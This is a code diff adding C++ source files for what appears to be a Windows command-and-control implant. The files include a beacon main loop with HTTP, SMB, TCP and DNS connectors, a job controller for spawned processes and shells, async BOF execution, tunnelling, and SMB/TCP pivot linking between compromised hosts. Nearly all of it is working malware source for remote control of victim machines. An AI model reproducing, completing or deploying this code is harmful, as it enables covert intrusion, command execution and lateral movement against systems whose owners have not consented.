||||
|
||||
int b64_encoded_size(int inlen)
|
||||
{
|
||||
int ret = inlen;
|
||||
if (inlen % 3 != 0)
|
||||
ret += 3 - (inlen % 3);
|
||||
ret /= 3;
|
||||
ret *= 4;
|
||||
return ret;
|
||||
}
|
||||
|
||||
char* b64_encode(const unsigned char* in, int len)
|
||||
{
|
||||
int elen;
|
||||
int i;
|
||||
int j;
|
||||
int v;
|
||||
|
||||
if (in == NULL || len == 0)
|
||||
return NULL;
|
||||
|
||||
elen = b64_encoded_size(len);
|
||||
char* out = (char* ) ApiWin->LocalAlloc(LPTR, elen + 1);
|
||||
if (!out)
|
||||
return NULL;
|
||||
out[elen] = '\0';
|
||||
|
||||
for (i = 0, j = 0; i < len; i += 3, j += 4) {
|
||||
v = in[i];
|
||||
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
|
||||
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
|
||||
|
||||
out[j] = b64chars[(v >> 18) & 0x3F];
|
||||
out[j + 1] = b64chars[(v >> 12) & 0x3F];
|
||||
if (i + 1 < len) {
|
||||
out[j + 2] = b64chars[(v >> 6) & 0x3F];
|
||||
}
|
||||
else {
|
||||
out[j + 2] = '=';
|
||||
}
|
||||
if (i + 2 < len) {
|
||||
out[j + 3] = b64chars[v & 0x3F];
|
||||
}
|
||||
else {
|
||||
out[j + 3] = '=';
|
||||
}
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51 };
|
||||
|
||||
int b64_decoded_size(const char* in)
|
||||
{
|
||||
int len;
|
||||
int ret;
|
||||
int i;
|
||||
|
||||
if (in == NULL)
|
||||
return 0;
|
||||
|
||||
len = StrLenA((CHAR*)in);
|
||||
ret = len / 4 * 3;
|
||||
|
||||
for (i = len; i-- > 0; ) {
|
||||
if (in[i] == '=') {
|
||||
ret--;
|
||||
}
|
||||
else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
int b64_isvalidchar(char c)
|
||||
{
|
||||
if (c >= '0' && c <= '9')
|
||||
return 1;
|
||||
if (c >= 'A' && c <= 'Z')
|
||||
return 1;
|
||||
if (c >= 'a' && c <= 'z')
|
||||
return 1;
|
||||
if (c == '+' || c == '/' || c == '=')
|
||||
return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int b64_decode(const char* in, unsigned char* out, int outlen)
|
||||
{
|
||||
int len;
|
||||
int i;
|
||||
int j;
|
||||
int v;
|
||||
|
||||
if (in == NULL || out == NULL)
|
||||
return 0;
|
||||
|
||||
len = StrLenA((CHAR*)in);
|
||||
if (len % 4 != 0)
|
||||
return 0;
|
||||
|
||||
int decodedSize = len / 4 * 3;
|
||||
for (i = len; i-- > 0; ) {
|
||||
if (in[i] == '=')
|
||||
decodedSize--;
|
||||
else
|
||||
break;
|
||||
}
|
||||
if (outlen < decodedSize)
|
||||
return 0;
|
||||
|
||||
for (i = 0; i < len; i++) {
|
||||
if (!b64_isvalidchar(in[i])) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0, j = 0; i < len; i += 4, j += 3) {
|
||||
v = b64invs[in[i] - 43];
|
||||
v = (v << 6) | b64invs[in[i + 1] - 43];
|
||||
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
|
||||
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
|
||||
|
||||
out[j] = (v >> 16) & 0xFF;
|
||||
if (in[i + 2] != '=')
|
||||
out[j + 1] = (v >> 8) & 0xFF;
|
||||
if (in[i + 3] != '=')
|
||||
out[j + 2] = v & 0xFF;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
|
||||
char* b64_encode(const unsigned char* in, int len);
|
||||
|
||||
int b64_decoded_size(const char* in);
|
||||
|
||||
int b64_decode(const char* in, unsigned char* out, int outlen);
|
||||
@@ -0,0 +1,82 @@
|
||||
#include "JobsController.h"
|
||||
#include "ApiLoader.h"
|
||||
|
||||
void* JobsController::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void JobsController::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(JobsController));
|
||||
}
|
||||
|
||||
JobData JobsController::CreateJobData(ULONG taskId, WORD Type, WORD State, HANDLE object, WORD pid, HANDLE input, HANDLE output)
|
||||
{
|
||||
JobData jobData = { taskId, Type, State, object, pid, input, output };
|
||||
this->jobs.push_back(jobData);
|
||||
return jobData;
|
||||
}
|
||||
|
||||
void JobsController::ProcessJobs(Packer* packer)
|
||||
{
|
||||
if ( !this->jobs.size() )
|
||||
return;
|
||||
|
||||
for (int i = 0; i < this->jobs.size(); i++) {
|
||||
|
||||
ULONG available = 0;
|
||||
LPVOID buffer = ReadDataFromAnonPipe(this->jobs[i].pipeRead, &available);
|
||||
if (available > 0) {
|
||||
packer->Pack32(jobs[i].jobId);
|
||||
packer->Pack32(COMMAND_JOB);
|
||||
packer->Pack8(jobs[i].jobType);
|
||||
packer->Pack8(JOB_STATE_RUNNING);
|
||||
packer->PackBytes((BYTE*)buffer, available);
|
||||
|
||||
MemFreeLocal(&buffer, available);
|
||||
}
|
||||
|
||||
if (jobs[i].jobState == JOB_STATE_RUNNING) {
|
||||
|
||||
ULONG status = 0;
|
||||
if (jobs[i].jobType == JOB_TYPE_PROCESS || jobs[i].jobType == JOB_TYPE_SHELL)
|
||||
ApiWin->GetExitCodeProcess(jobs[i].jobObject, &status);
|
||||
else if (jobs[i].jobType == JOB_TYPE_LOCAL || jobs[i].jobType == JOB_TYPE_REMOTE)
|
||||
ApiWin->GetExitCodeThread(jobs[i].jobObject, &status);
|
||||
|
||||
if (status != STILL_ACTIVE) {
|
||||
if(jobs[i].jobType == JOB_TYPE_SHELL)
|
||||
jobs[i].jobState = JOB_STATE_KILLED;
|
||||
else
|
||||
jobs[i].jobState = JOB_STATE_FINISHED;
|
||||
}
|
||||
}
|
||||
|
||||
if (jobs[i].jobState == JOB_STATE_KILLED || jobs[i].jobState == JOB_STATE_FINISHED) {
|
||||
|
||||
if (jobs[i].jobType == JOB_TYPE_PROCESS || jobs[i].jobType == JOB_TYPE_SHELL)
|
||||
ApiNt->NtTerminateProcess(jobs[i].jobObject, NULL);
|
||||
else if (jobs[i].jobType == JOB_TYPE_LOCAL || jobs[i].jobType == JOB_TYPE_REMOTE)
|
||||
ApiNt->NtTerminateThread(jobs[i].jobObject, NULL);
|
||||
|
||||
if (jobs[i].pipeRead) {
|
||||
ApiNt->NtClose(jobs[i].pipeRead);
|
||||
jobs[i].pipeRead = NULL;
|
||||
}
|
||||
if (jobs[i].pipeWrite) {
|
||||
ApiNt->NtClose(jobs[i].pipeWrite);
|
||||
jobs[i].pipeWrite = NULL;
|
||||
}
|
||||
|
||||
packer->Pack32(jobs[i].jobId);
|
||||
packer->Pack32(COMMAND_JOB);
|
||||
packer->Pack8(jobs[i].jobType);
|
||||
packer->Pack8(jobs[i].jobState);
|
||||
|
||||
jobs.remove(i);
|
||||
--i;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
#pragma once
|
||||
|
||||
#include "std.cpp"
|
||||
#include "Packer.h"
|
||||
|
||||
#define COMMAND_JOB 0x8437
|
||||
|
||||
#define JOB_TYPE_LOCAL 0x1
|
||||
#define JOB_TYPE_REMOTE 0x2
|
||||
#define JOB_TYPE_PROCESS 0x3
|
||||
#define JOB_TYPE_SHELL 0x4
|
||||
#define JOB_TYPE_ASYNCBOF 0x5
|
||||
|
||||
#define JOB_STATE_STARTING 0x0
|
||||
#define JOB_STATE_RUNNING 0x1
|
||||
#define JOB_STATE_FINISHED 0x2
|
||||
#define JOB_STATE_KILLED 0x3
|
||||
|
||||
struct JobData {
|
||||
ULONG jobId;
|
||||
WORD jobType;
|
||||
WORD jobState;
|
||||
HANDLE jobObject;
|
||||
WORD pidObject;
|
||||
HANDLE pipeRead;
|
||||
HANDLE pipeWrite;
|
||||
};
|
||||
|
||||
class JobsController
|
||||
{
|
||||
public:
|
||||
Vector<JobData> jobs;
|
||||
|
||||
JobData CreateJobData(ULONG taskId, WORD Type, WORD State, HANDLE object, WORD pid, HANDLE input, HANDLE output);
|
||||
void ProcessJobs(Packer* packer);
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,115 @@
|
||||
#include "main.h"
|
||||
#include "ApiLoader.h"
|
||||
#include "Commander.h"
|
||||
#include "utils.h"
|
||||
#include "Crypt.h"
|
||||
#include "WaitMask.h"
|
||||
#include "Boffer.h"
|
||||
#include "Connector.h"
|
||||
|
||||
#if defined(BEACON_HTTP)
|
||||
#include "ConnectorHTTP.h"
|
||||
#elif defined(BEACON_SMB)
|
||||
#include "ConnectorSMB.h"
|
||||
#elif defined(BEACON_TCP)
|
||||
#include "ConnectorTCP.h"
|
||||
#elif defined(BEACON_DNS)
|
||||
#include "ConnectorDNS.h"
|
||||
#endif
|
||||
|
||||
Agent* g_Agent;
|
||||
Connector* g_Connector;
|
||||
|
||||
static Connector* CreateConnector()
|
||||
{
|
||||
#if defined(BEACON_HTTP)
|
||||
return new ConnectorHTTP();
|
||||
#elif defined(BEACON_SMB)
|
||||
return new ConnectorSMB();
|
||||
#elif defined(BEACON_TCP)
|
||||
return new ConnectorTCP();
|
||||
#elif defined(BEACON_DNS)
|
||||
return new ConnectorDNS();
|
||||
#endif
|
||||
}
|
||||
|
||||
DWORD WINAPI AgentMain(LPVOID lpParam)
|
||||
{
|
||||
if (!ApiLoad())
|
||||
return 0;
|
||||
|
||||
g_Agent = new Agent();
|
||||
g_Connector = CreateConnector();
|
||||
|
||||
g_AsyncBofManager = new Boffer();
|
||||
g_AsyncBofManager->Initialize();
|
||||
|
||||
ULONG beatSize = 0;
|
||||
BYTE* beat = g_Agent->BuildBeat(&beatSize);
|
||||
|
||||
if (!g_Connector->SetProfile(&g_Agent->config->profile, beat, beatSize))
|
||||
return 0;
|
||||
|
||||
MemFreeLocal((LPVOID*)&beat, beatSize);
|
||||
|
||||
Packer* packerOut = new Packer();
|
||||
packerOut->Pack32(0);
|
||||
|
||||
do {
|
||||
if (!g_Connector->WaitForConnection())
|
||||
continue;
|
||||
|
||||
do {
|
||||
if (packerOut->datasize() > 4) {
|
||||
packerOut->Set32(0, packerOut->datasize());
|
||||
g_Connector->Exchange(packerOut->data(), packerOut->datasize(), g_Agent->SessionKey);
|
||||
packerOut->Clear(TRUE);
|
||||
packerOut->Pack32(0);
|
||||
}
|
||||
else {
|
||||
g_Connector->Exchange(nullptr, 0, g_Agent->SessionKey);
|
||||
}
|
||||
|
||||
if (g_Connector->RecvSize() > 0 && g_Connector->RecvData())
|
||||
g_Agent->commander->ProcessCommandTasks(g_Connector->RecvData(), g_Connector->RecvSize(), packerOut);
|
||||
g_Connector->RecvClear();
|
||||
|
||||
g_Agent->downloader->ProcessDownloader(packerOut);
|
||||
g_Agent->jober->ProcessJobs(packerOut);
|
||||
g_Agent->proxyfire->ProcessTunnels(packerOut);
|
||||
g_Agent->pivotter->ProcessPivots(packerOut);
|
||||
g_AsyncBofManager->ProcessAsyncBofs(packerOut);
|
||||
|
||||
if (g_Agent->IsActive()) {
|
||||
const BOOL hasOutput = (packerOut->datasize() >= 8);
|
||||
g_Connector->Sleep(g_AsyncBofManager->GetWakeupEvent(), g_Agent->GetWorkingSleep(), g_Agent->config->sleep_delay, g_Agent->config->jitter_delay, hasOutput);
|
||||
}
|
||||
|
||||
} while (g_Connector->IsConnected() && g_Agent->IsActive());
|
||||
|
||||
if (!g_Agent->IsActive() && g_Connector->IsConnected()) {
|
||||
g_Agent->commander->Exit(packerOut);
|
||||
packerOut->Set32(0, packerOut->datasize());
|
||||
g_Connector->Exchange(packerOut->data(), packerOut->datasize(), g_Agent->SessionKey);
|
||||
g_Connector->RecvClear();
|
||||
}
|
||||
|
||||
g_Connector->Disconnect();
|
||||
|
||||
} while (g_Agent->IsActive());
|
||||
|
||||
packerOut->Clear(FALSE);
|
||||
delete packerOut;
|
||||
|
||||
g_Connector->CloseConnector();
|
||||
AgentExit(g_Agent->config->exit_method);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void AgentExit(const int method)
|
||||
{
|
||||
if (method == 1)
|
||||
ApiNt->RtlExitUserThread(STATUS_SUCCESS);
|
||||
else if (method == 2)
|
||||
ApiNt->RtlExitUserProcess(STATUS_SUCCESS);
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
#include "MemorySaver.h"
|
||||
|
||||
void* MemorySaver::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void MemorySaver::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(MemorySaver));
|
||||
}
|
||||
|
||||
MemorySaver::MemorySaver(){}
|
||||
|
||||
void MemorySaver::WriteMemoryData(ULONG memoryId, ULONG totalSize, ULONG dataSize, PBYTE data)
|
||||
{
|
||||
if ( !chunks.contains(memoryId) ) {
|
||||
MemoryData memoryData = { 0 };
|
||||
memoryData.memoryId = memoryId;
|
||||
memoryData.totalSize = totalSize;
|
||||
memoryData.buffer = (PBYTE) MemAllocLocal(totalSize);
|
||||
|
||||
chunks[memoryId] = memoryData;
|
||||
}
|
||||
|
||||
memcpy( chunks[memoryId].buffer + chunks[memoryId].currentSize, data, dataSize );
|
||||
chunks[memoryId].currentSize += dataSize;
|
||||
|
||||
if (chunks[memoryId].currentSize == chunks[memoryId].totalSize)
|
||||
chunks[memoryId].complete = true;
|
||||
}
|
||||
|
||||
void MemorySaver::RemoveMemoryData(ULONG memoryId)
|
||||
{
|
||||
if (chunks[memoryId].buffer)
|
||||
MemFreeLocal((LPVOID*)(&chunks[memoryId].buffer), chunks[memoryId].totalSize);
|
||||
chunks[memoryId] = { 0 };
|
||||
chunks.remove(memoryId);
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
|
||||
#include "std.cpp"
|
||||
#include "Packer.h"
|
||||
|
||||
struct MemoryData {
|
||||
ULONG memoryId;
|
||||
ULONG totalSize;
|
||||
ULONG currentSize;
|
||||
PBYTE buffer;
|
||||
BOOL complete;
|
||||
};
|
||||
|
||||
class MemorySaver
|
||||
{
|
||||
public:
|
||||
Map<ULONG, MemoryData> chunks;
|
||||
|
||||
MemorySaver();
|
||||
|
||||
void WriteMemoryData(ULONG memoryId, ULONG totalSize, ULONG dataSize, PBYTE data);
|
||||
void RemoveMemoryData(ULONG memoryId);
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,235 @@
|
||||
#include "Packer.h"
|
||||
|
||||
void* Packer::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void Packer::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(Packer));
|
||||
}
|
||||
|
||||
Packer::Packer()
|
||||
{
|
||||
this->capacity = 4096;
|
||||
this->buffer = (BYTE*) MemAllocLocal(this->capacity);
|
||||
this->size = 0;
|
||||
this->index = 0;
|
||||
}
|
||||
|
||||
Packer::Packer(BYTE* buffer, ULONG size)
|
||||
{
|
||||
this->buffer = buffer;
|
||||
this->size = size;
|
||||
this->capacity = size;
|
||||
this->index = 0;
|
||||
}
|
||||
|
||||
Packer::~Packer(){}
|
||||
|
||||
VOID Packer::Set32(ULONG index, ULONG value)
|
||||
{
|
||||
PUCHAR place = this->buffer + index;
|
||||
place[0] = (value >> 24) & 0xFF;
|
||||
place[1] = (value >> 16) & 0xFF;
|
||||
place[2] = (value >> 8 ) & 0xFF;
|
||||
place[3] = (value ) & 0xFF;
|
||||
}
|
||||
|
||||
VOID Packer::EnsureCapacity(ULONG needed)
|
||||
{
|
||||
if (this->index + needed > this->capacity) {
|
||||
ULONG new_cap = this->capacity ? (this->capacity * 2) : 4096;
|
||||
if (new_cap < this->index + needed)
|
||||
new_cap = this->index + needed + 1024;
|
||||
|
||||
this->buffer = (BYTE*)MemReallocLocal(this->buffer, new_cap);
|
||||
this->capacity = new_cap;
|
||||
}
|
||||
}
|
||||
|
||||
VOID Packer::Pack64( ULONG64 value )
|
||||
{
|
||||
this->EnsureCapacity(sizeof(ULONG64));
|
||||
|
||||
|
||||
PUCHAR place = (PUCHAR) this->buffer + this->index;
|
||||
place[0] = (value >> 56) & 0xFF;
|
||||
place[1] = (value >> 48) & 0xFF;
|
||||
place[2] = (value >> 40) & 0xFF;
|
||||
place[3] = (value >> 32) & 0xFF;
|
||||
place[4] = (value >> 24) & 0xFF;
|
||||
place[5] = (value >> 16) & 0xFF;
|
||||
place[6] = (value >> 8 ) & 0xFF;
|
||||
place[7] = (value ) & 0xFF;
|
||||
|
||||
this->size += sizeof(ULONG64);
|
||||
this->index += sizeof(ULONG64);
|
||||
}
|
||||
|
||||
VOID Packer::Pack32(ULONG value)
|
||||
{
|
||||
this->EnsureCapacity(sizeof(ULONG));
|
||||
|
||||
PUCHAR place = this->buffer + this->index;
|
||||
place[0] = (value >> 24) & 0xFF;
|
||||
place[1] = (value >> 16) & 0xFF;
|
||||
place[2] = (value >> 8 ) & 0xFF;
|
||||
place[3] = (value ) & 0xFF;
|
||||
|
||||
this->size += sizeof(ULONG);
|
||||
this->index += sizeof(ULONG);
|
||||
}
|
||||
|
||||
VOID Packer::Pack16(WORD value)
|
||||
{
|
||||
this->EnsureCapacity(sizeof(WORD));
|
||||
|
||||
PUCHAR place = this->buffer + this->index;
|
||||
place[0] = (value >> 8) & 0xFF;
|
||||
place[1] = (value ) & 0xFF;
|
||||
|
||||
this->size += sizeof(WORD);
|
||||
this->index += sizeof(WORD);
|
||||
}
|
||||
|
||||
VOID Packer::Pack8(BYTE value)
|
||||
{
|
||||
this->EnsureCapacity(sizeof(BYTE));
|
||||
|
||||
(this->buffer + this->index)[0] = value;
|
||||
|
||||
this->size += 1;
|
||||
this->index += 1;
|
||||
}
|
||||
|
||||
VOID Packer::PackBytes(PBYTE data, ULONG data_size)
|
||||
{
|
||||
this->Pack32(data_size);
|
||||
|
||||
if (data_size) {
|
||||
EnsureCapacity(data_size);
|
||||
memcpy(this->buffer + this->index, data, data_size);
|
||||
this->index += data_size;
|
||||
this->size = this->index;
|
||||
}
|
||||
}
|
||||
|
||||
VOID Packer::PackStringA(LPSTR str)
|
||||
{
|
||||
ULONG length = StrLenA(str); // +1;
|
||||
this->PackBytes( (BYTE*) str, length);
|
||||
}
|
||||
|
||||
VOID Packer::PackFlatBytes(PBYTE data, ULONG data_size)
|
||||
{
|
||||
if (data_size) {
|
||||
EnsureCapacity(data_size);
|
||||
memcpy(this->buffer + this->index, data, data_size);
|
||||
this->index += data_size;
|
||||
this->size = this->index;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
PBYTE Packer::data()
|
||||
{
|
||||
return this->buffer;
|
||||
}
|
||||
|
||||
ULONG Packer::datasize()
|
||||
{
|
||||
return this->index;
|
||||
}
|
||||
|
||||
VOID Packer::Clear(BOOL renew)
|
||||
{
|
||||
if (!renew) {
|
||||
if (this->buffer)
|
||||
MemFreeLocal((LPVOID*)&this->buffer, this->capacity);
|
||||
this->buffer = NULL;
|
||||
this->capacity = 0;
|
||||
this->size = 0;
|
||||
this->index = 0;
|
||||
return;
|
||||
}
|
||||
else {
|
||||
if (this->buffer == NULL) {
|
||||
this->capacity = 4096;
|
||||
this->buffer = (BYTE*)MemAllocLocal(this->capacity);
|
||||
}
|
||||
else if (this->capacity > 0x100000) { // 1MB
|
||||
MemFreeLocal((LPVOID*)&this->buffer, this->capacity);
|
||||
this->capacity = 4096;
|
||||
this->buffer = (BYTE*)MemAllocLocal(this->capacity);
|
||||
}
|
||||
else {
|
||||
memset(this->buffer, 0, this->capacity);
|
||||
}
|
||||
|
||||
this->index = 0;
|
||||
this->size = 0;
|
||||
}
|
||||
}
|
||||
|
||||
BYTE Packer::Unpack8()
|
||||
{
|
||||
ULONG value = 0;
|
||||
if (this->size - this->index < 1)
|
||||
return 0;
|
||||
|
||||
memcpy(&value, this->buffer + this->index, 1);
|
||||
|
||||
this->index += 1;
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
ULONG Packer::Unpack32()
|
||||
{
|
||||
ULONG value = 0;
|
||||
if ( this->size - this->index < 4 )
|
||||
return 0;
|
||||
|
||||
memcpy(&value, this->buffer + this->index, 4);
|
||||
|
||||
this->index += 4;
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
BYTE* Packer::UnpackBytes(ULONG* str_size)
|
||||
{
|
||||
*str_size = this->Unpack32();
|
||||
|
||||
if ( this->size - this->index < *str_size )
|
||||
return NULL;
|
||||
|
||||
if (*str_size == 0)
|
||||
return NULL;
|
||||
|
||||
BYTE* out = this->buffer + this->index;
|
||||
this->index += *str_size;
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
BYTE* Packer::UnpackBytesCopy(ULONG* str_size)
|
||||
{
|
||||
*str_size = this->Unpack32();
|
||||
|
||||
if (this->size - this->index < *str_size)
|
||||
return NULL;
|
||||
|
||||
if (*str_size == 0)
|
||||
return NULL;
|
||||
|
||||
BYTE* out = (PBYTE) MemAllocLocal(*str_size);
|
||||
memcpy(out, this->buffer + this->index, *str_size);
|
||||
|
||||
this->index += *str_size;
|
||||
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
#pragma once
|
||||
#include "ApiLoader.h"
|
||||
#include "utils.h"
|
||||
|
||||
class Packer
|
||||
{
|
||||
DWORD size;
|
||||
DWORD capacity;
|
||||
BYTE* buffer;
|
||||
DWORD index;
|
||||
|
||||
public:
|
||||
Packer();
|
||||
Packer(BYTE* buffer, ULONG size);
|
||||
~Packer();
|
||||
|
||||
VOID Set32(ULONG index, ULONG value);
|
||||
VOID EnsureCapacity(ULONG needed);
|
||||
|
||||
VOID Pack64(ULONG64 value);
|
||||
VOID Pack32(ULONG value);
|
||||
VOID Pack16(WORD value);
|
||||
VOID Pack8(BYTE value);
|
||||
VOID PackBytes(PBYTE data, ULONG data_size);
|
||||
VOID PackFlatBytes(PBYTE data, ULONG data_size);
|
||||
VOID PackStringA(LPSTR str);
|
||||
|
||||
BYTE Unpack8();
|
||||
ULONG Unpack32();
|
||||
BYTE* UnpackBytes(ULONG* size);
|
||||
BYTE* UnpackBytesCopy(ULONG* size);
|
||||
|
||||
VOID Clear(BOOL renew);
|
||||
PBYTE data();
|
||||
ULONG datasize();
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,323 @@
|
||||
#include "Pivotter.h"
|
||||
|
||||
void* Pivotter::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void Pivotter::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(Pivotter));
|
||||
}
|
||||
|
||||
void Pivotter::LinkPivotSMB(ULONG taskId, ULONG commandId, CHAR* pipename, Packer* outPacker)
|
||||
{
|
||||
HANDLE hPipe;
|
||||
DWORD startTickCount = ApiWin->GetTickCount() + 5000;
|
||||
while (1) {
|
||||
hPipe = ApiWin->CreateFileA(pipename, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_NO_RECALL, NULL);
|
||||
if (INVALID_HANDLE_VALUE != hPipe)
|
||||
break;
|
||||
|
||||
if (ApiWin->GetLastError() == ERROR_PIPE_BUSY)
|
||||
ApiWin->WaitNamedPipeA(pipename, 2000);
|
||||
else
|
||||
ApiWin->Sleep(1000);
|
||||
|
||||
if (ApiWin->GetTickCount() >= startTickCount) {
|
||||
outPacker->Pack32(taskId);
|
||||
outPacker->Pack32(0x1111ffff); // COMMAND_ERROR
|
||||
outPacker->Pack32(TEB->LastErrorValue);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD dwMode = PIPE_READMODE_MESSAGE;
|
||||
if (ApiWin->SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL)) {
|
||||
|
||||
if (PeekNamedPipeTime(hPipe, 5000)) {
|
||||
LPVOID buffer = NULL;
|
||||
ULONG bufferSize = 0;
|
||||
DWORD readedBytes = ReadDataFromPipe(hPipe, &buffer, &bufferSize);
|
||||
|
||||
if (readedBytes > 4 && buffer) {
|
||||
PivotData pivotData = { 0 };
|
||||
pivotData.Id = taskId;
|
||||
pivotData.Channel = hPipe;
|
||||
pivotData.Type = PIVOT_TYPE_SMB;
|
||||
|
||||
this->pivots.push_back(pivotData);
|
||||
|
||||
outPacker->Pack32(taskId);
|
||||
outPacker->Pack32(commandId);
|
||||
outPacker->Pack8(pivotData.Type);
|
||||
outPacker->Pack32(*((ULONG*)buffer));
|
||||
outPacker->PackBytes((PBYTE)buffer + 4, readedBytes - 4);
|
||||
|
||||
MemFreeLocal(&buffer, bufferSize);
|
||||
|
||||
return;
|
||||
}
|
||||
else {
|
||||
if (buffer && bufferSize)
|
||||
MemFreeLocal(&buffer, bufferSize);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ApiWin->DisconnectNamedPipe(hPipe);
|
||||
ApiNt->NtClose(hPipe);
|
||||
|
||||
outPacker->Pack32(taskId);
|
||||
outPacker->Pack32(0x1111ffff); // COMMAND_ERROR
|
||||
outPacker->Pack32(TEB->LastErrorValue);
|
||||
}
|
||||
|
||||
BOOL CheckSocketState(SOCKET sock, int timeoutMs)
|
||||
{
|
||||
ULONG endTime = ApiWin->GetTickCount() + timeoutMs;
|
||||
while (ApiWin->GetTickCount() < endTime) {
|
||||
|
||||
fd_set readfds;
|
||||
readfds.fd_count = 1;
|
||||
readfds.fd_array[0] = sock;
|
||||
timeval timeout = { 0, 100 };
|
||||
|
||||
int selResult = ApiWin->select(0, &readfds, NULL, NULL, &timeout);
|
||||
if (selResult == 0)
|
||||
return TRUE;
|
||||
|
||||
if (selResult == SOCKET_ERROR)
|
||||
return FALSE;
|
||||
|
||||
char buf;
|
||||
int recvResult = ApiWin->recv(sock, &buf, 1, MSG_PEEK);
|
||||
if (recvResult == 0)
|
||||
return FALSE;
|
||||
|
||||
if (recvResult < 0) {
|
||||
int err = ApiWin->WSAGetLastError();
|
||||
if (err == WSAEWOULDBLOCK)
|
||||
return TRUE;
|
||||
}
|
||||
else return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void Pivotter::LinkPivotTCP(ULONG taskId, ULONG commandId, CHAR* address, WORD port, Packer* outPacker)
|
||||
{
|
||||
ULONG err = 0;
|
||||
WSAData wsaData;
|
||||
if (ApiWin->WSAStartup(514, &wsaData)) {
|
||||
err = ApiWin->WSAGetLastError();
|
||||
ApiWin->WSACleanup();
|
||||
}
|
||||
else {
|
||||
SOCKET sock = ApiWin->socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sock != -1) {
|
||||
hostent* host = ApiWin->gethostbyname(address);
|
||||
if (host) {
|
||||
sockaddr_in socketAddress;
|
||||
memcpy(&socketAddress.sin_addr, *(const void**)host->h_addr_list, host->h_length); //memmove
|
||||
socketAddress.sin_family = AF_INET;
|
||||
socketAddress.sin_port = _htons(port);
|
||||
u_long mode = 0;
|
||||
if (ApiWin->ioctlsocket(sock, FIONBIO, &mode) != -1) {
|
||||
if (!(ApiWin->connect(sock, (sockaddr*)&socketAddress, 16) == -1 && ApiWin->WSAGetLastError() != WSAEWOULDBLOCK)) {
|
||||
|
||||
if (PeekSocketTime(sock, 5000)) {
|
||||
LPVOID buffer = NULL;
|
||||
ULONG bufferSize = 0;
|
||||
DWORD readedBytes = ReadDataFromSocket(sock, &buffer, &bufferSize);
|
||||
|
||||
if (readedBytes > 4 && buffer) {
|
||||
PivotData pivotData = { 0 };
|
||||
pivotData.Id = taskId;
|
||||
pivotData.Socket = sock;
|
||||
pivotData.Type = PIVOT_TYPE_TCP;
|
||||
|
||||
this->pivots.push_back(pivotData);
|
||||
|
||||
outPacker->Pack32(taskId);
|
||||
outPacker->Pack32(commandId);
|
||||
outPacker->Pack8(pivotData.Type);
|
||||
outPacker->Pack32(*((ULONG*)buffer));
|
||||
outPacker->PackBytes((BYTE*)buffer + 4, readedBytes - 4);
|
||||
|
||||
MemFreeLocal((LPVOID*)&buffer, bufferSize);
|
||||
return;
|
||||
}
|
||||
else {
|
||||
if (buffer && bufferSize)
|
||||
MemFreeLocal((LPVOID*)&buffer, bufferSize);
|
||||
err = ApiWin->WSAGetLastError();
|
||||
}
|
||||
}
|
||||
else err = ERROR_CONNECTION_REFUSED;
|
||||
}
|
||||
else err = ApiWin->WSAGetLastError();
|
||||
ApiWin->closesocket(sock);
|
||||
}
|
||||
else err = ApiWin->WSAGetLastError();
|
||||
}
|
||||
else err = ERROR_BAD_NET_NAME;
|
||||
}
|
||||
else err = ApiWin->WSAGetLastError();
|
||||
}
|
